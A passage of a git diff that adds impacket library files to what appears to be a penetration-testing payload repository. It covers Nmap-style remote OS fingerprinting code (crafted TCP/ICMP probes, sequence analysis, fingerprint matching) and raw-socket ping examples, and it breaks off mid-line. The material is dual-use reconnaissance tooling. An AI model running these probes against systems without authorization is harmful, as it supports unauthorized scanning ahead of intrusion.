# The window field is 63. + tcp_options = [ + TCPOption(TCPOption.TCPOPT_MAXSEG, 1400), + TCPOption(TCPOption.TCPOPT_WINDOW, 0), + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), + TCPOption(TCPOption.TCPOPT_EOL) + ] + + def __init__(self, id, addresses, tcp_ports): + nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) + self.t.set_th_win(63) + +class nmap2_seq_3(nmap2_seq): + # Packet #3: Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), + # NOP, + # NOP, + # window scale (5), + # NOP, + # MSS (640). + # The window field is 4. + tcp_options = [ + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), + TCPOption(TCPOption.TCPOPT_NOP), + TCPOption(TCPOption.TCPOPT_NOP), + TCPOption(TCPOption.TCPOPT_WINDOW, 5), + TCPOption(TCPOption.TCPOPT_NOP), + TCPOption(TCPOption.TCPOPT_MAXSEG, 640) + ] + + def __init__(self, id, addresses, tcp_ports): + nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) + self.t.set_th_win(4) + +class nmap2_seq_4(nmap2_seq): + # Packet #4: SACK permitted, + # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), + # window scale (10), + # EOL. + # The window field is 4. + tcp_options = [ + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), + TCPOption(TCPOption.TCPOPT_WINDOW, 10), + TCPOption(TCPOption.TCPOPT_EOL) + ] + + def __init__(self, id, addresses, tcp_ports): + nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) + self.t.set_th_win(4) + +class nmap2_seq_5(nmap2_seq): + # Packet #5: MSS (536), + # SACK permitted, + # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), + # window scale (10), + # EOL. + # The window field is 16. + tcp_options = [ + TCPOption(TCPOption.TCPOPT_MAXSEG, 536), + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), + TCPOption(TCPOption.TCPOPT_WINDOW, 10), + TCPOption(TCPOption.TCPOPT_EOL) + ] + + def __init__(self, id, addresses, tcp_ports): + nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) + self.t.set_th_win(16) + +class nmap2_seq_6(nmap2_seq): + # Packet #6: MSS (265), + # SACK permitted, + # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0). + # The window field is 512. + tcp_options = [ + TCPOption(TCPOption.TCPOPT_MAXSEG, 265), + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF) + ] + + def __init__(self, id, addresses, tcp_ports): + nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) + self.t.set_th_win(512) + +class nmap1_seq_container(os_id_test): + def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs): + os_id_test.__init__(self, 0) + + self.num_seq_samples = num_seq_samples + self.seq_responses = responses + self.seq_num_responses = len(responses) + self.seq_diffs = seq_diffs + self.ts_diffs = ts_diffs + self.time_diffs = time_diffs + self.pre_ts_seqclass = nmap1_seq.TS_SEQ_UNKNOWN + + def test_id(self): + return "TSEQ" + + def set_ts_seqclass(self, ts_seqclass): + self.pre_ts_seqclass = ts_seqclass + + def process(self): + ipid_seqclass = self.ipid_sequence() + if nmap1_seq.TS_SEQ_UNKNOWN != self.pre_ts_seqclass: + ts_seqclass = self.pre_ts_seqclass + else: + ts_seqclass = self.ts_sequence() + + if self.seq_num_responses >= 4: + seq_seqclass = self.seq_sequence() + if nmap1_seq.SEQ_UNKNOWN != seq_seqclass: self.add_seqclass(seq_seqclass) + if nmap1_seq.IPID_SEQ_UNKNOWN != ipid_seqclass: self.add_ipidclass(ipid_seqclass) + if nmap1_seq.TS_SEQ_UNKNOWN != ts_seqclass: self.add_tsclass(ts_seqclass) + else: + PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate." + % (self.seq_num_responses, self.num_seq_samples)) + + def get_final_result(self): + "Returns a string representation of the final result of this test or None if no response was received" + return {self.test_id(): self.get_result_dict()} + + def ipid_sequence(self): + if self.seq_num_responses < 2: return nmap1_seq.IPID_SEQ_UNKNOWN + + ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1)) + + null_ipids = 1 + for i in xrange(1, self.seq_num_responses): + prev_ipid = self.seq_responses[i-1].get_ipid() + cur_ipid = self.seq_responses[i].get_ipid() + + if cur_ipid < prev_ipid and (cur_ipid > 500 or prev_ipid < 65000): + return nmap1_seq.IPID_SEQ_RD + + if prev_ipid != 0 or cur_ipid != 0: null_ipids = 0 + ipid_diffs[i-1] = abs(cur_ipid - prev_ipid) + + if null_ipids: return nmap1_seq.IPID_SEQ_ZERO + + # Battle plan: + # If any diff is > 1000, set to random, if 0, set to constant. + # If any of the diffs are 1, or all are less than 9, set to incremental. + + for i in xrange(0, self.seq_num_responses - 1): + if ipid_diffs[i] > 1000: return nmap1_seq.IPID_SEQ_RPI + if ipid_diffs[i] == 0: return nmap1_seq.IPID_SEQ_CONSTANT + + is_incremental = 1 # All diferences are less than 9 + is_ms = 1 # All diferences are multiples of 256 + for i in xrange(0, self.seq_num_responses - 1): + if ipid_diffs[i] == 1: return nmap1_seq.IPID_SEQ_INCR + if is_ms and ipid_diffs[i] < 2560 and (ipid_diffs[i] % 256) != 0: is_ms = 0 + if ipid_diffs[i] > 9: is_incremental = 0 + + if is_ms: return nmap1_seq.IPID_SEQ_BROKEN_INCR + if is_incremental: return nmap1_seq.IPID_SEQ_INCR + + return nmap1_seq.IPID_SEQ_UNKNOWN + + def ts_sequence(self): + if self.seq_num_responses < 2: return nmap1_seq.TS_SEQ_UNKNOWN + + # Battle plan: + # 1) Compute average increments per second, and variance in incr. per second. + # 2) If any are 0, set to constant. + # 3) If variance is high, set to random incr. [ skip for now ] + # 4) if ~10/second, set to appropriate thing. + # 5) Same with ~100/s. + + avg_freq = 0.0 + for i in xrange(0, self.seq_num_responses - 1): + dhz = self.ts_diffs[i] / self.time_diffs[i] + avg_freq += dhz / (self.seq_num_responses - 1) + + PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq) + + if 0 < avg_freq and avg_freq < 3.9: return nmap1_seq.TS_SEQ_2HZ + if 85 < avg_freq and avg_freq < 115: return nmap1_seq.TS_SEQ_100HZ + if 900 < avg_freq and avg_freq < 1100: return nmap1_seq.TS_SEQ_1000HZ + + return nmap1_seq.TS_SEQ_UNKNOWN + + def seq_sequence(self): + self.seq_gcd = reduce(my_gcd, self.seq_diffs) + avg_incr = 0 + seqclass = nmap1_seq.SEQ_UNKNOWN + + if 0 != self.seq_gcd: + map(lambda x, gcd = self.seq_gcd: x / gcd, self.seq_diffs) + for i in xrange(0, self.seq_num_responses - 1): + if abs(self.seq_responses[i+1].get_seq() - self.seq_responses[i].get_seq()) > 50000000: + seqclass = nmap1_seq.SEQ_TR; + self.index = 9999999 + break + avg_incr += self.seq_diffs[i] + + if 0 == self.seq_gcd: + seqclass = nmap1_seq.SEQ_CONSTANT + self.index = 0 + elif 0 == self.seq_gcd % 64000: + seqclass = nmap1_seq.SEQ_64K + self.index = 1 + elif 0 == self.seq_gcd % 800: + seqclass = nmap1_seq.SEQ_i800 + self.index = 10 + elif nmap1_seq.SEQ_UNKNOWN == seqclass: + avg_incr = int(.5 + avg_incr / (self.seq_num_responses - 1)) + sum_incr = 0.0 + for i in range(0, self.seq_num_responses - 1): + d = abs(self.seq_diffs[i] - avg_incr) + sum_incr += float(d * d) + sum_incr /= self.seq_num_responses - 1 + self.index = int(.5 + math.sqrt(sum_incr)) + if self.index < 75: + seqclass = nmap1_seq.SEQ_TD + else: + seqclass = nmap1_seq.SEQ_RI + + return seqclass + + seqclasses = { + nmap1_seq.SEQ_64K: '64K', + nmap1_seq.SEQ_TD: 'TD', + nmap1_seq.SEQ_RI: 'RI', + nmap1_seq.SEQ_TR: 'TR', + nmap1_seq.SEQ_i800: 'i800', + nmap1_seq.SEQ_CONSTANT: 'C', + } + + def add_seqclass(self, id): + self.add_result('CLASS', nmap1_seq_container.seqclasses[id]) + + if nmap1_seq.SEQ_CONSTANT == id: + self.add_result('VAL', '%i' % self.seq_responses[0].get_seq()) + elif id in (nmap1_seq.SEQ_TD, nmap1_seq.SEQ_RI): + self.add_result('GCD', '%i' % self.seq_gcd) + self.add_result('SI', '%i' % self.index) + + tsclasses = { + nmap1_seq.TS_SEQ_ZERO: '0', + nmap1_seq.TS_SEQ_2HZ: '2HZ', + nmap1_seq.TS_SEQ_100HZ: '100HZ', + nmap1_seq.TS_SEQ_1000HZ: '1000HZ', + nmap1_seq.TS_SEQ_UNSUPPORTED: 'U', + } + + def add_tsclass(self, id): + self.add_result('TS', nmap1_seq_container.tsclasses[id]) + + ipidclasses = { + nmap1_seq.IPID_SEQ_INCR: 'I', + nmap1_seq.IPID_SEQ_BROKEN_INCR: 'BI', + nmap1_seq.IPID_SEQ_RPI: 'RPI', + nmap1_seq.IPID_SEQ_RD: 'RD', + nmap1_seq.IPID_SEQ_CONSTANT: 'C', + nmap1_seq.IPID_SEQ_ZERO: 'Z', + } + + def add_ipidclass(self, id): + self.add_result('IPID', nmap1_seq_container.ipidclasses[id]) + + +class nmap2_seq_container(os_id_test): + def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs): + os_id_test.__init__(self, 0) + + self.num_seq_samples = num_seq_samples + self.seq_responses = responses + self.seq_num_responses = len(responses) + self.seq_diffs = seq_diffs + self.ts_diffs = ts_diffs + self.time_diffs = time_diffs + self.pre_ts_seqclass = nmap2_seq.TS_SEQ_UNKNOWN + + def test_id(self): + return "SEQ" + + def set_ts_seqclass(self, ts_seqclass): + self.pre_ts_seqclass = ts_seqclass + + def process(self): + if self.seq_num_responses >= 4: + self.calc_ti() + self.calc_ts() + self.calc_sp() + else: + self.add_result('R', 'N') + PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate." + % (self.seq_num_responses, self.num_seq_samples)) + + def get_final_result(self): + return {self.test_id(): self.get_result_dict()} + + def calc_ti(self): + if self.seq_num_responses < 2: + return + + ipidclasses = { + nmap2_seq.IPID_SEQ_INCR: 'I', + nmap2_seq.IPID_SEQ_BROKEN_INCR: 'BI', + nmap2_seq.IPID_SEQ_RPI: 'RI', + nmap2_seq.IPID_SEQ_RD: 'RD', + nmap2_seq.IPID_SEQ_CONSTANT: 'C', + nmap2_seq.IPID_SEQ_ZERO: 'Z', + } + + ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1)) + + # Random and zero + null_ipids = 1 + for i in xrange(1, self.seq_num_responses): + prev_ipid = self.seq_responses[i-1].get_ipid() + cur_ipid = self.seq_responses[i].get_ipid() + + if prev_ipid != 0 or cur_ipid != 0: + null_ipids = 0 + + if prev_ipid <= cur_ipid: + ipid_diffs[i-1] = cur_ipid - prev_ipid + else: + ipid_diffs[i-1] = (cur_ipid - prev_ipid + 65536) & 0xffff + + if self.seq_num_responses > 2 and ipid_diffs[i-1] > 20000: + self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RD]) + return + + if null_ipids: + self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_ZERO]) + return + + # Constant + all_zero = 1 + for i in xrange(0, self.seq_num_responses - 1): + if ipid_diffs[i] != 0: + all_zero = 0 + break + + if all_zero: + self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_CONSTANT]) + return + + # Random positive increments + for i in xrange(0, self.seq_num_responses - 1): + if ipid_diffs[i] > 1000 and \ + ((ipid_diffs[i] % 256 != 0) or \ + ((ipid_diffs[i] % 256 == 0) and (ipid_diffs[i] >= 25600))): + self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RPI]) + return + + # Broken Increment and Incremental + is_incremental = 1 # All diferences are less than 10 + is_ms = 1 # All diferences are multiples of 256 and no greater than 5120 + for i in xrange(0, self.seq_num_responses - 1): + if is_ms and ((ipid_diffs[i] > 5120) or (ipid_diffs[i] % 256) != 0): + is_ms = 0 + if is_incremental and ipid_diffs[i] > 9: + is_incremental = 0 + + if is_ms: + self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_BROKEN_INCR]) + elif is_incremental: + self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_INCR]) + + def calc_ts(self): + # 1. If any of the responses have no timestamp option, TS + # is set to U (unsupported). + # 2. If any of the timestamp values are zero, TS is set to 0. + # 3. If the average increments per second falls within the + # ranges 0-5.66, 70-150, or 150-350, TS is set to 1, 7, or 8, + # respectively. These three ranges get special treatment + # because they correspond to the 2 Hz, 100 Hz, and 200 Hz + # frequencies used by many hosts. + # 4. In all other cases, Nmap records the binary logarithm of + # the average increments per second, rounded to the nearest + # integer. Since most hosts use 1,000 Hz frequencies, A is + # a common result. + + if self.pre_ts_seqclass == nmap2_seq.TS_SEQ_ZERO: + self.add_result('TS', '0') + elif self.pre_ts_seqclass == nmap2_seq.TS_SEQ_UNSUPPORTED: + self.add_result('TS', 'U') + elif self.seq_num_responses < 2: + return + + avg_freq = 0.0 + for i in xrange(0, self.seq_num_responses - 1): + dhz = self.ts_diffs[i] / self.time_diffs[i] + avg_freq += dhz / (self.seq_num_responses - 1) + + PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq) + + if avg_freq <= 5.66: + self.add_result('TS', "1") + elif 70 < avg_freq and avg_freq <= 150: + self.add_result('TS', "7") + elif 150 < avg_freq and avg_freq <= 350: + self.add_result('TS', "8") + else: + ts = int(round(.5 + math.log(avg_freq)/math.log(2))) + self.add_result('TS', "%X" % ts) + + def calc_sp(self): + seq_gcd = reduce(my_gcd, self.seq_diffs) + + seq_avg_rate = 0.0 + for i in xrange(0, self.seq_num_responses - 1): + seq_avg_rate += self.seq_diffs[i] / self.time_diffs[i] + seq_avg_rate /= (self.seq_num_responses - 1) + + seq_rate = seq_avg_rate + si_index = 0 + seq_stddev = 0 + + if 0 == seq_gcd: + seq_rate = 0 + else: + seq_rate = int(round(.5 + (math.log(seq_rate) / math.log(2)) * 8)) + + div_gcd = 1 + if seq_gcd > 9: + div_gcd = seq_gcd + + for i in xrange(0, self.seq_num_responses - 1): + rtmp = (self.seq_diffs[i] / self.time_diffs[i]) / div_gcd - \ + seq_avg_rate / div_gcd + seq_stddev += rtmp * rtmp + + seq_stddev /= self.seq_num_responses - 2 + seq_stddev = math.sqrt(seq_stddev) + + if seq_stddev <= 1: + si_index = 0 + else: + si_index = int(round(.5 + (math.log(seq_stddev) / math.log(2)) * 8.0)) + + self.add_result('SP', "%X" % si_index) + self.add_result('GCD', "%X" % seq_gcd) + self.add_result('ISR', "%X" % seq_rate) + +class nmap2_ops_container(os_id_test): + def __init__(self, responses): + os_id_test.__init__(self, 0) + + self.seq_responses = responses + self.seq_num_responses = len(responses) + + def test_id(self): + return "OPS" + + def process(self): + if self.seq_num_responses != 6: + self.add_result('R', 'N') + return + + for i in xrange(0, self.seq_num_responses): + tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(), + self.seq_responses[i].get_tcp(), + 0, + 0) + self.add_result("O%i" % (i+1), tests.get_options()) + + def get_final_result(self): + if not self.get_result_dict(): + return None + else: + return {self.test_id(): self.get_result_dict()} + +class nmap2_win_container(os_id_test): + def __init__(self, responses): + os_id_test.__init__(self, 0) + + self.seq_responses = responses + self.seq_num_responses = len(responses) + + def test_id(self): + return "WIN" + + def process(self): + if self.seq_num_responses != 6: + self.add_result('R', 'N') + return + + for i in xrange(0, self.seq_num_responses): + tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(), + self.seq_responses[i].get_tcp(), + 0, + 0) + self.add_result("W%i" % (i+1), tests.get_win()) + + def get_final_result(self): + if not self.get_result_dict(): + return None + else: + return {self.test_id(): self.get_result_dict()} + +class nmap2_t1_container(os_id_test): + def __init__(self, responses, seq_base): + os_id_test.__init__(self, 0) + + self.seq_responses = responses + self.seq_num_responses = len(responses) + self.seq_base = seq_base + + def test_id(self): + return "T1" + + def process(self): + # R, DF, T*, TG*, W-, S, A, F, O-, RD*, Q + if self.seq_num_responses < 1: + self.add_result("R","N") + return + + response = self.seq_responses[0] + tests = nmap2_tcp_tests(response.get_ip(), + response.get_tcp(), + self.seq_base, + nmap2_tcp_probe.acknowledgment) + self.add_result("R", "Y") + self.add_result("DF", tests.get_df()) + self.add_result("S", tests.get_seq()) + self.add_result("A", tests.get_ack()) + self.add_result("F", tests.get_flags()) + self.add_result("Q", tests.get_quirks()) + + def get_final_result(self): + if not self.get_result_dict(): + return None + else: + return {self.test_id(): self.get_result_dict()} + +class nmap2_icmp_container(os_id_test): + def __init__(self, responses): + os_id_test.__init__(self, 0) + + self.icmp_responses = responses + self.icmp_num_responses = len(responses) + + def test_id(self): + return "IE" + + def process(self): + # R, DFI, T*, TG*, TOSI, CD, SI, DLI* + if self.icmp_num_responses != 2: + self.add_result("R","N") + return + + ip1 = self.icmp_responses[0].child() + ip2 = self.icmp_responses[1].child() + icmp1 = ip1.child() + icmp2 = ip2.child() + + self.add_result("R", "Y") + + # Value Description + # N Neither of the ping responses have the DF bit set. + # S Both responses echo the DF value of the probe. + # Y Both of the response DF bits are set. + # O The one remaining other combination-both responses have the DF bit toggled. + if not ip1.get_ip_df() and not ip2.get_ip_df(): + self.add_result("DFI","N") + elif ip1.get_ip_df() and not ip2.get_ip_df(): + self.add_result("DFI","S") + elif ip1.get_ip_df() and ip2.get_ip_df(): + self.add_result("DFI","Y") + else: + self.add_result("DFI","O") + + # Value Description + # Z Both TOS values are zero. + # S Both TOS values are each the same as in the corresponding probe. + # When they both use the same non-zero number, it is recorded here. + # O Any other combination. + if ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 0: + self.add_result("TOSI","Z") + elif ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 4: + self.add_result("TOSI","S") + elif ip1.get_ip_tos() == ip2.get_ip_tos(): + self.add_result("TOSI","%X" % ip1.get_ip_tos()) + else: + self.add_result("TOSI","O") + + # Value Description + # Z Both code values are zero. + # S Both code values are the same as in the corresponding probe. + # When they both use the same non-zero number, it is shown here. + # O Any other combination. + if icmp1.get_icmp_code() == 0 and icmp2.get_icmp_code() == 0: + self.add_result("CD","Z") + elif icmp1.get_icmp_code() == 9 and icmp2.get_icmp_code() == 0: + self.add_result("CD","S") + elif icmp1.get_icmp_code() == icmp2.get_icmp_code(): + self.add_result("CD","%X" % icmp1.get_icmp_code()) + else: + self.add_result("CD","O") + + # Value Description + # Z Both sequence numbers are set to 0. + # S Both sequence numbers echo the ones from the probes. + # When they both use the same non-zero number, it is recorded here. + # O Any other combination. + if icmp1.get_icmp_seq() == 0 and icmp2.get_icmp_seq() == 0: + self.add_result("SI","Z") + elif (icmp1.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number and + icmp2.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number + 1): + self.add_result("SI","S") + elif icmp1.get_icmp_seq() == icmp2.get_icmp_seq(): + self.add_result("SI","%X" % icmp1.get_icmp_code()) + else: + self.add_result("SI","O") + + def get_final_result(self): + if not self.get_result_dict(): + return None + else: + return {self.test_id(): self.get_result_dict()} + +class nmap1_tcp_closed_1(nmap1_tcp_probe): + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) + self.t.set_SYN() + + def test_id(self): + return "T5" + + def is_mine(self, packet): + if tcp_probe.is_mine(self, packet): + ip = packet.child() + if not ip: + return 0 + tcp = ip.child() + if not tcp: + return 0 + if tcp.get_RST(): + return 1 + else: + return 0 + else: + return 0 + +class nmap2_tcp_closed_1(nmap2_tcp_probe_2_6): + # ... + # T5 sends a TCP SYN packet without IP DF and a window field of + # 31337 to a closed port + # ... + def __init__(self, id, addresses, tcp_ports): + nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0) + self.t.set_SYN() + self.i.set_ip_df(0) + self.t.set_th_win(31337) + + def test_id(self): + return "T5" + + +class nmap1_tcp_closed_2(nmap1_tcp_probe): + + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) + self.t.set_ACK() + + def test_id(self): + return "T6" + + +class nmap2_tcp_closed_2(nmap2_tcp_probe_2_6): + # ... + # T6 sends a TCP ACK packet with IP DF and a window field of + # 32768 to a closed port. + # ... + def __init__(self, id, addresses, tcp_ports): + nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0) + self.t.set_ACK() + self.i.set_ip_df(1) + self.t.set_th_win(32768) + + def test_id(self): + return "T6" + + +class nmap1_tcp_closed_3(nmap1_tcp_probe): + + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) + self.t.set_FIN() + self.t.set_URG() + self.t.set_PSH() + + def test_id(self): + return "T7" + + +class nmap2_tcp_closed_3(nmap2_tcp_probe_7): + # ... + # T7 sends a TCP packet with the FIN, PSH, and URG flags set and a + # window field of 65535 to a closed port. The IP DF bit is not set. + # ... + def __init__(self, id, addresses, tcp_ports): + nmap2_tcp_probe_7.__init__(self, id, addresses, tcp_ports, 0) + self.t.set_FIN() + self.t.set_URG() + self.t.set_PSH() + self.t.set_th_win(65535) + self.i.set_ip_df(0) + + def test_id(self): + return "T7" + + +class NMAP2_OS_Class: + def __init__(self, vendor, name, family, device_type): + self.__vendor = vendor + self.__name = name + self.__family = family + self.__device_type = device_type + + def get_vendor(self): return self.__vendor + def get_name(self): return self.__name + def get_family(self): return self.__family + def get_device_type(self): return self.__device_type + +class NMAP2_Fingerprint: + def __init__(self, id, os_class, tests): + self.__id = id + self.__os_class = os_class + self.__tests = tests + + def get_id(self): return self.__id + def get_os_class(self): return self.__os_class + def get_tests(self): return self.__tests + + def __str__(self): + ret = "FP: [%s]" % self.__id + ret += "\n vendor: %s" % self.__os_class.get_vendor() + ret += "\n name: %s" % self.__os_class.get_name() + ret += "\n family: %s" % self.__os_class.get_family() + ret += "\n device_type: %s" % self.__os_class.get_device_type() + + for test in self.__tests: + ret += "\n test: %s" % test + for pair in self.__tests[test]: + ret += "\n %s = [%s]" % (pair, self.__tests[test][pair]) + + return ret + + literal_conv = { "RIPL" : { "G" : 0x148 }, + "RID" : { "G" : 0x1042 }, + "RUL" : { "G" : 0x134 } } + + def parse_int(self, field, value): + try: + return int(value, 16) + except ValueError, err: + if NMAP2_Fingerprint.literal_conv.has_key( field ): + if NMAP2_Fingerprint.literal_conv[field].has_key(value): + return NMAP2_Fingerprint.literal_conv[field][value] + return 0 + + def match(self, field, ref, value): + options = ref.split("|") + + for option in options: + if option.startswith(">"): + if self.parse_int(field, value) > \ + self.parse_int(field, option[1:]): + return True + elif option.startswith("<"): + if self.parse_int(field, value) < \ + self.parse_int(field, option[1:]): + return True + elif option.find("-") > -1: + range = option.split("-") + if (self.parse_int(field, value) >= \ + self.parse_int(field, range[0]) and \ + self.parse_int(field, value) <= \ + self.parse_int(field, range[1])): + return True + else: + if str(value) == str(option): + return True + + return False + + def compare(self, sample, mp): + max_points = 0 + total_points = 0 + + for test in self.__tests: + # ignore unknown response lines: + if not sample.has_key(test): + continue + + for field in self.__tests[test]: + # ignore unsupported fields: + if not sample[test].has_key(field) or \ + not mp.has_key(test) or \ + not mp[test].has_key(field): + continue + + ref = self.__tests[test][field] + value = sample[test][field] + + points = int(mp[test][field]) + + max_points += points + + if self.match(field, ref, value): + total_points += points + + return (total_points / float(max_points)) * 100 + +class NMAP2_Fingerprint_Matcher: + def __init__(self, filename): + self.__filename = filename + + def find_matches(self, res, threshold): + output = [] + + try: + infile = open(self.__filename,"r") + + mp = self.parse_mp(self.matchpoints(infile)) + + for fingerprint in self.fingerprints(infile): + fp = self.parse_fp(fingerprint) + similarity = fp.compare(res, mp) + if similarity >= threshold: + print "\"%s\" matches with an accuracy of %.2f%%" \ + % (fp.get_id(), similarity) + output.append((similarity / 100, + fp.get_id(), + (fp.get_os_class().get_vendor(), + fp.get_os_class().get_name(), + fp.get_os_class().get_family(), + fp.get_os_class().get_device_type()))) + + infile.close() + except IOError, err: + print "IOError: %s", err + + return output + + def sections(self, infile, token): + OUT = 0 + IN = 1 + + state = OUT + output = [] + + for line in infile: + line = line.strip() + if state == OUT: + if line.startswith(token): + state = IN + output = [line] + elif state == IN: + if line: + output.append(line) + else: + state = OUT + yield output + output = [] + + if output: + yield output + + def fingerprints(self, infile): + for section in self.sections(infile,"Fingerprint"): + yield section + + def matchpoints(self, infile): + return self.sections(infile,"MatchPoints").next() + + def parse_line(self, line): + name = line[:line.find("(")] + pairs = line[line.find("(") + 1 : line.find(")")] + + test = {} + + for pair in pairs.split("%"): + pair = pair.split("=") + test[pair[0]] = pair[1] + + return (name, test) + + def parse_fp(self, fp): + tests = {} + + for line in fp: + if line.startswith("#"): + continue + elif line.startswith("Fingerprint"): + fingerprint = line[len("Fingerprint") + 1:] + elif line.startswith("Class"): + (vendor, + name, + family, + device_type) = line[len("Class") + 1:].split("|") + os_class = NMAP2_OS_Class(vendor.strip(), + name.strip(), + family.strip(), + device_type.strip()) + else: + test = self.parse_line(line) + tests[test[0]] = test[1] + + return NMAP2_Fingerprint(fingerprint, os_class, tests) + + def parse_mp(self, fp): + tests = {} + + for line in fp: + if line.startswith("#"): + continue + elif line.startswith("MatchPoints"): + continue + else: + test = self.parse_line(line) + tests[test[0]] = test[1] + + return tests diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/ping.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/ping.py new file mode 100644 index 0000000..a3ce81c --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/ping.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python +# Copyright (c) 2003 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Simple ICMP ping. +# +# This implementation of ping uses the ICMP echo and echo-reply packets +# to check the status of a host. If the remote host is up, it should reply +# to the echo probe with an echo-reply packet. +# Note that this isn't a definite test, as in the case the remote host is up +# but refuses to reply the probes. +# Also note that the user must have special access to be able to open a raw +# socket, which this program requires. +# +# Authors: +# Gerardo Richarte +# Javier Kohen +# +# Reference for: +# ImpactPacket: IP, ICMP, DATA. +# ImpactDecoder. + +import select +import socket +import time +import sys + +from impacket import ImpactDecoder, ImpactPacket + +if len(sys.argv) < 3: + print "Use: %s " % sys.argv[0] + sys.exit(1) + +src = sys.argv[1] +dst = sys.argv[2] + +# Create a new IP packet and set its source and destination addresses. + +ip = ImpactPacket.IP() +ip.set_ip_src(src) +ip.set_ip_dst(dst) + +# Create a new ICMP packet of type ECHO. + +icmp = ImpactPacket.ICMP() +icmp.set_icmp_type(icmp.ICMP_ECHO) + +# Include a 156-character long payload inside the ICMP packet. +icmp.contains(ImpactPacket.Data("A"*156)) + +# Have the IP packet contain the ICMP packet (along with its payload). +ip.contains(icmp) + +# Open a raw socket. Special permissions are usually required. +s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) +s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + +seq_id = 0 +while 1: + # Give the ICMP packet the next ID in the sequence. + seq_id += 1 + icmp.set_icmp_id(seq_id) + + # Calculate its checksum. + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + # Send it to the target host. + s.sendto(ip.get_packet(), (dst, 0)) + + # Wait for incoming replies. + if s in select.select([s],[],[],1)[0]: + reply = s.recvfrom(2000)[0] + + # Use ImpactDecoder to reconstruct the packet hierarchy. + rip = ImpactDecoder.IPDecoder().decode(reply) + # Extract the ICMP packet from its container (the IP packet). + ricmp = rip.child() + + # If the packet matches, report it to the user. + if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): + print "Ping reply for sequence #%d" % ricmp.get_icmp_id() + + time.sleep(1) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/ping6.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/ping6.py new file mode 100644 index 0000000..5ff7de0 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/ping6.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Simple ICMP6 ping. +# +# This implementation of ping uses the ICMP echo and echo-reply packets +# to check the status of a host. If the remote host is up, it should reply +# to the echo probe with an echo-reply packet. +# Note that this isn't a definite test, as in the case the remote host is up +# but refuses to reply the probes. +# Also note that the user must have special access to be able to open a raw +# socket, which this program requires. +# +# Authors: +# Alberto Solino (@agsolino) +# +# Reference for: +# ImpactPacket: ICMP6 +# ImpactDecoder. + +import select +import socket +import time +import sys + +from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version + +print version.BANNER + +if len(sys.argv) < 3: + print "Use: %s " % sys.argv[0] + sys.exit(1) + +src = sys.argv[1] +dst = sys.argv[2] + +# Create a new IP packet and set its source and destination addresses. + +ip = IP6.IP6() +ip.set_ip_src(src) +ip.set_ip_dst(dst) +ip.set_traffic_class(0) +ip.set_flow_label(0) +ip.set_hop_limit(64) + +# Open a raw socket. Special permissions are usually required. +s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) + +payload = "A"*156 + +print "PING 